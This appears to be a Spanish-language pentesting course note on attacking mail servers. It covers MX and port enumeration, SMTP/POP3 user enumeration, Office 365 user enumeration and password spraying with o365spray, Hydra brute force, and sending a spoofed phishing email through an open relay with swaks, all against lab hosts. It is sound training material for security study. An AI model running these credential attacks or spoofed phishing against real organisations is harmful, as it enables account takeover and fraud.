Attacking Email Services
Un servidor de correo (también llamado servidor de email) es un servidor que gestiona y entrega correos electrónicos a través de una red, normalmente por Internet. Un servidor de correo puede recibir correos desde un dispositivo cliente y enviarlos a otros servidores de correo, así como también entregar correos a los clientes. Un cliente es normalmente el dispositivo desde el cual leemos nuestros correos (como computadoras, móviles, etc.).
Cuando presionamos el botón de Enviar en nuestra aplicación de correo (cliente de correo), el programa establece una conexión con un servidor SMTP en la red o en Internet. SMTP (Simple Mail Transfer Protocol) es el protocolo utilizado para enviar correos desde los clientes a los servidores y entre servidores.
Cuando descargamos correos en nuestra aplicación, esta se conecta a un servidor POP3 o IMAP4, el cual permite al usuario guardar mensajes en el buzón del servidor y descargarlos periódicamente.
Por defecto, los clientes POP3 eliminan los mensajes descargados del servidor. Este comportamiento dificulta el acceso al correo desde varios dispositivos, ya que los mensajes quedan almacenados localmente. Sin embargo, normalmente podemos configurar el cliente POP3 para que mantenga copias en el servidor.
Por otro lado, los clientes IMAP4 no eliminan los mensajes del servidor por defecto, lo que permite acceder fácilmente a los correos desde múltiples dispositivos.
Veamos cómo podemos atacar servidores de correo.

Enumeration
Los servidores de correo son complejos y normalmente requieren que enumeremos varios servidores, puertos y servicios. Además, hoy en día la mayoría de las empresas tienen sus servicios de correo en la nube, como Microsoft 365 o G-Suite. Por lo tanto, nuestra forma de atacar el servicio de correo dependerá del tipo de servicio que estén utilizando.
Podemos usar el registro DNS MX (Mail eXchanger) para identificar el servidor de correo. Este registro especifica el servidor responsable de aceptar mensajes de correo en nombre de un dominio. Es posible configurar varios registros MX, normalmente apuntando a un conjunto de servidores de correo para balanceo de carga y redundancia.
Podemos utilizar herramientas como host
o dig
, o sitios web como MXToolbox para consultar información sobre los registros MX.
Host - MX Records
gzzcoo@htb[/htb]$ host -t MX hackthebox.eu
hackthebox.eu mail is handled by 1 aspmx.l.google.com.
gzzcoo@htb[/htb]$ host -t MX microsoft.com
microsoft.com mail is handled by 10 microsoft-com.mail.protection.outlook.com.
DIG - MX Records
gzzcoo@htb[/htb]$ dig mx plaintext.do | grep "MX" | grep -v ";"
plaintext.do. 7076 IN MX 50 mx3.zoho.com.
plaintext.do. 7076 IN MX 10 mx.zoho.com.
plaintext.do. 7076 IN MX 20 mx2.zoho.com.
gzzcoo@htb[/htb]$ dig mx inlanefreight.com | grep "MX" | grep -v ";"
inlanefreight.com. 300 IN MX 10 mail1.inlanefreight.com.
Host - A Records
gzzcoo@htb[/htb]$ host -t A mail1.inlanefreight.htb.
mail1.inlanefreight.htb has address 10.129.14.128
stos registros MX indican que los tres primeros servicios de correo están utilizando servicios en la nube como G-Suite (aspmx.l.google.com
), Microsoft 365 (microsoft-com.mail.protection.outlook.com
) y Zoho (mx.zoho.com
), mientras que el último probablemente sea un servidor de correo personalizado alojado por la empresa.
Esta información es importante porque los métodos de enumeración pueden variar según el servicio. Por ejemplo, la mayoría de los proveedores en la nube utilizan su propia implementación del servidor de correo y adoptan autenticación moderna, lo cual abre vectores de ataque únicos y específicos para cada proveedor. En cambio, si la empresa ha configurado su propio servicio, podríamos encontrar malas prácticas y configuraciones inseguras que permitan ataques comunes a protocolos de servidores de correo.
Si estamos apuntando a un servidor de correo personalizado como inlanefreight.htb
, podemos enumerar los siguientes puertos:
TCP/25
SMTP Unencrypted
TCP/143
IMAP4 Unencrypted
TCP/110
POP3 Unencrypted
TCP/465
SMTP Encrypted
TCP/587
SMTP Encrypted/STARTTLS
TCP/993
IMAP4 Encrypted
TCP/995
POP3 Encrypted
Podemos usar Nmap con la opción -sC
(scripts por defecto) para enumerar estos puertos en el sistema objetivo:
gzzcoo@htb[/htb]$ sudo nmap -Pn -sVC -p25,143,110,465,587,993,995 10.129.14.128
Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-27 17:56 CEST
Nmap scan report for 10.129.14.128
Host is up (0.00025s latency).
PORT STATE SERVICE VERSION
25/tcp open smtp Postfix smtpd
|_smtp-commands: mail1.inlanefreight.htb, PIPELINING, SIZE 10240000, VRFY, ETRN, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING,
MAC Address: 00:00:00:00:00:00 (VMware)
Misconfigurations
Los servicios de correo utilizan autenticación para permitir a los usuarios enviar y recibir correos electrónicos. Una mala configuración puede darse cuando el servicio SMTP permite autenticación anónima o soporta comandos que pueden ser usados para enumerar nombres de usuario válidos.
Authentication
El servidor SMTP dispone de distintos comandos que se pueden aprovechar para enumerar usuarios válidos: VRFY
, EXPN
y RCPT TO
. Si logramos enumerar usuarios válidos, podemos intentar realizar ataques de password spraying, fuerza bruta o incluso adivinar una contraseña válida. Veamos cómo funcionan estos comandos:
VRFY: este comando le indica al servidor SMTP que verifique si existe un nombre de usuario o dirección de correo específica. El servidor responderá indicando si el usuario existe o no. Esta funcionalidad suele estar desactivada por seguridad.
VRFY Command
gzzcoo@htb[/htb]$ telnet 10.10.110.20 25
Trying 10.10.110.20...
Connected to 10.10.110.20.
Escape character is '^]'.
220 parrot ESMTP Postfix (Debian/GNU)
VRFY root
252 2.0.0 root
VRFY www-data
252 2.0.0 www-data
VRFY new-user
550 5.1.1 <new-user>: Recipient address rejected: User unknown in local recipient table
EXPN Command
EXPN es similar a VRFY, con la diferencia de que cuando se usa con una lista de distribución, devuelve todos los usuarios incluidos en dicha lista. Esto puede ser más problemático que el comando VRFY, ya que muchas veces existen alias como “all” que agrupan a muchos usuarios.
gzzcoo@htb[/htb]$ telnet 10.10.110.20 25
Trying 10.10.110.20...
Connected to 10.10.110.20.
Escape character is '^]'.
220 parrot ESMTP Postfix (Debian/GNU)
EXPN john
250 2.1.0 john@inlanefreight.htb
EXPN support-team
250 2.0.0 carol@inlanefreight.htb
250 2.1.5 elisa@inlanefreight.htb
Como vemos, el comando EXPN devuelve direcciones de usuarios individuales que forman parte de la lista de distribución. Esto amplía nuestra superficie de ataque.
RCPT TO Command
RCPT TO identifica al destinatario de un mensaje de correo. Este comando se puede repetir varias veces para enviar un solo mensaje a múltiples destinatarios.
gzzcoo@htb[/htb]$ telnet 10.10.110.20 25
Trying 10.10.110.20...
Connected to 10.10.110.20.
Escape character is '^]'.
220 parrot ESMTP Postfix (Debian/GNU)
MAIL FROM:test@htb.com
250 2.1.0 test@htb.com... Sender ok
RCPT TO:julio
550 5.1.1 julio... User unknown
RCPT TO:kate
550 5.1.1 kate... User unknown
RCPT TO:john
250 2.1.5 john... Recipient ok
Como vemos, este comando también nos permite validar si un usuario existe en el sistema en función de la respuesta del servidor. Esto se puede usar para enumerar usuarios válidos antes de lanzar ataques como password spraying o fuerza bruta.
USER Command
También podemos usar el protocolo POP3 para enumerar usuarios, dependiendo de cómo esté implementado el servicio. Por ejemplo, podemos usar el comando USER
seguido del nombre de usuario, y si el servidor responde con +OK
, eso significa que el usuario existe en el servidor.
Este comportamiento se puede aprovechar para enumerar cuentas válidas antes de intentar ataques de autenticación como fuerza bruta o password spraying.
gzzcoo@htb[/htb]$ telnet 10.10.110.20 110
Trying 10.10.110.20...
Connected to 10.10.110.20.
Escape character is '^]'.
+OK POP3 Server ready
USER julio
-ERR
USER john
+OK
Podemos automatizar el proceso de enumeración de usuarios en servidores SMTP con la herramienta smtp-user-enum
. Esta utilidad permite comprobar si existen direcciones de correo válidas usando comandos como VRFY
, EXPN
o RCPT
.
En el siguiente ejemplo, estamos usando:
-M RCPT
: especifica el modo de enumeración.-U userlist.txt
: lista de nombres de usuario a probar.-D inlanefreight.htb
: dominio que se añadirá a cada usuario.-t 10.129.203.7
: IP del servidor SMTP objetivo.
gzzcoo@htb[/htb]$ smtp-user-enum -M RCPT -U userlist.txt -D inlanefreight.htb -t 10.129.203.7
Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )
----------------------------------------------------------
| Scan Information |
----------------------------------------------------------
Mode ..................... RCPT
Worker Processes ......... 5
Usernames file ........... userlist.txt
Target count ............. 1
Username count ........... 78
Target TCP port .......... 25
Query timeout ............ 5 secs
Target domain ............ inlanefreight.htb
######## Scan started at Thu Apr 21 06:53:07 2022 #########
10.129.203.7: jose@inlanefreight.htb exists
10.129.203.7: pedro@inlanefreight.htb exists
10.129.203.7: kate@inlanefreight.htb exists
######## Scan completed at Thu Apr 21 06:53:18 2022 #########
3 results.
78 queries in 11 seconds (7.1 queries / sec)
Cloud Enumeration
Como vimos antes, los proveedores de servicios en la nube como Microsoft implementan sus propios sistemas de correo. En el caso de Office 365, podemos abusar de funciones específicas como la enumeración de usuarios.
Una herramienta útil para esto es O365spray, que permite validar si un dominio usa Office 365 y luego enumerar usuarios válidos, así como hacer password spraying.
0365 Spray
gzzcoo@htb[/htb]$ python3 o365spray.py --validate --domain msplaintext.xyz
*** O365 Spray ***
>----------------------------------------<
> version : 2.0.4
> domain : msplaintext.xyz
> validate : True
> timeout : 25 seconds
> start : 2022-04-13 09:46:40
>----------------------------------------<
[2022-04-13 09:46:40,344] INFO : Running O365 validation for: msplaintext.xyz
[2022-04-13 09:46:40,743] INFO : [VALID] The following domain is using O365: msplaintext.xyz
gzzcoo@htb[/htb]$ python3 o365spray.py --enum -U users.txt --domain msplaintext.xyz
*** O365 Spray ***
>----------------------------------------<
> version : 2.0.4
> domain : msplaintext.xyz
> enum : True
> userfile : users.txt
> enum_module : office
> rate : 10 threads
> timeout : 25 seconds
> start : 2022-04-13 09:48:03
>----------------------------------------<
[2022-04-13 09:48:03,621] INFO : Running O365 validation for: msplaintext.xyz
[2022-04-13 09:48:04,062] INFO : [VALID] The following domain is using O365: msplaintext.xyz
[2022-04-13 09:48:04,064] INFO : Running user enumeration against 67 potential users
[2022-04-13 09:48:08,244] INFO : [VALID] lewen@msplaintext.xyz
[2022-04-13 09:48:10,415] INFO : [VALID] juurena@msplaintext.xyz
[ * ] Valid accounts can be found at: '/opt/o365spray/enum/enum_valid_accounts.2204130948.txt'
[ * ] All enumerated accounts can be found at: '/opt/o365spray/enum/enum_tested_accounts.2204130948.txt'
[2022-04-13 09:48:10,416] INFO : Valid Accounts: 2
Password Attacks
Hydra - Password Attack
Podemos usar Hydra para realizar ataques de fuerza bruta o password spraying contra servicios de correo como SMTP, POP3 o IMAP4. Solo necesitamos un listado de usuarios (-L
) y una contraseña o lista de contraseñas (-p
o -P
), además de indicar el servicio.
gzzcoo@htb[/htb]$ hydra -L users.txt -p 'Company01!' -f 10.10.110.20 pop3
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-04-13 11:37:46
[INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
[DATA] max 16 tasks per 1 server, overall 16 tasks, 67 login tries (l:67/p:1), ~5 tries per task
[DATA] attacking pop3://10.10.110.20:110/
[110][pop3] host: 10.129.42.197 login: john password: Company01!
1 of 1 target successfully completed, 1 valid password found
0365 Spray - Password Spraying
Si los servicios en la nube permiten el uso de los protocolos SMTP, POP3 o IMAP4, podríamos intentar realizar ataques de password spraying usando herramientas como Hydra, pero normalmente estos intentos son bloqueados por medidas de seguridad del proveedor.
En lugar de eso, es preferible usar herramientas especializadas como:
o365spray
oMailSniper
→ para Microsoft Office 365CredKing
→ para Gmail u Okta
gzzcoo@htb[/htb]$ python3 o365spray.py --spray -U usersfound.txt -p 'March2022!' --count 1 --lockout 1 --domain msplaintext.xyz
*** O365 Spray ***
>----------------------------------------<
> version : 2.0.4
> domain : msplaintext.xyz
> spray : True
> password : March2022!
> userfile : usersfound.txt
> count : 1 passwords/spray
> lockout : 1.0 minutes
> spray_module : oauth2
> rate : 10 threads
> safe : 10 locked accounts
> timeout : 25 seconds
> start : 2022-04-14 12:26:31
>----------------------------------------<
[2022-04-14 12:26:31,757] INFO : Running O365 validation for: msplaintext.xyz
[2022-04-14 12:26:32,201] INFO : [VALID] The following domain is using O365: msplaintext.xyz
[2022-04-14 12:26:32,202] INFO : Running password spray against 2 users.
[2022-04-14 12:26:32,202] INFO : Password spraying the following passwords: ['March2022!']
[2022-04-14 12:26:33,025] INFO : [VALID] lewen@msplaintext.xyz:March2022!
[2022-04-14 12:26:33,048] INFO :
[ * ] Writing valid credentials to: '/opt/o365spray/spray/spray_valid_credentials.2204141226.txt'
[ * ] All sprayed credentials can be found at: '/opt/o365spray/spray/spray_tested_credentials.2204141226.txt'
[2022-04-14 12:26:33,048] INFO : Valid Credentials: 1
Open Relay
Un open relay es un servidor SMTP (Simple Mail Transfer Protocol) mal configurado que permite el reenvío de correos sin autenticación. Los servidores de mensajería que están configurados como open relays, ya sea accidental o intencionalmente, permiten que cualquier fuente envíe correos a través del servidor, enmascarando así el origen real de los mensajes y haciendo parecer que provienen del propio servidor.
Desde la perspectiva de un atacante, esto puede ser aprovechado para realizar phishing, enviando correos como si fueran de usuarios inexistentes o suplantando la identidad de otro. Por ejemplo, si detectamos que una empresa tiene un servidor de correo mal configurado como open relay y usa una dirección específica para notificaciones, podemos enviar un correo con esa misma dirección y añadir un enlace malicioso.
Con el script smtp-open-relay
de Nmap, podemos identificar si un puerto SMTP permite este tipo de reenvío:
gzzcoo@htb[/htb]# nmap -p25 -Pn --script smtp-open-relay 10.10.11.213
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-28 23:59 EDT
Nmap scan report for 10.10.11.213
Host is up (0.28s latency).
PORT STATE SERVICE
25/tcp open smtp
|_smtp-open-relay: Server is an open relay (14/16 tests)
Después, podemos usar cualquier cliente de correo para conectarnos al servidor y enviar nuestro mensaje:
gzzcoo@htb[/htb]# swaks --from notifications@inlanefreight.com --to employees@inlanefreight.com --header 'Subject: Company Notification' --body 'Hi All, we want to hear from you! Please complete the following survey. http://mycustomphishinglink.com/' --server 10.10.11.213
=== Trying 10.10.11.213:25...
=== Connected to 10.10.11.213.
<- 220 mail.localdomain SMTP Mailer ready
-> EHLO parrot
<- 250-mail.localdomain
<- 250-SIZE 33554432
<- 250-8BITMIME
<- 250-STARTTLS
<- 250-AUTH LOGIN PLAIN CRAM-MD5 CRAM-SHA1
<- 250 HELP
-> MAIL FROM:<notifications@inlanefreight.com>
<- 250 OK
-> RCPT TO:<employees@inlanefreight.com>
<- 250 OK
-> DATA
<- 354 End data with <CR><LF>.<CR><LF>
-> Date: Thu, 29 Oct 2020 01:36:06 -0400
-> To: employees@inlanefreight.com
-> From: notifications@inlanefreight.com
-> Subject: Company Notification
-> Message-Id: <20201029013606.775675@parrot>
-> X-Mailer: swaks v20190914.0 jetmore.org/john/code/swaks/
->
-> Hi All, we want to hear from you! Please complete the following survey. http://mycustomphishinglink.com/
->
->
-> .
<- 250 OK
-> QUIT
<- 221 Bye
=== Connection closed with remote host.
Última actualización
¿Te fue útil?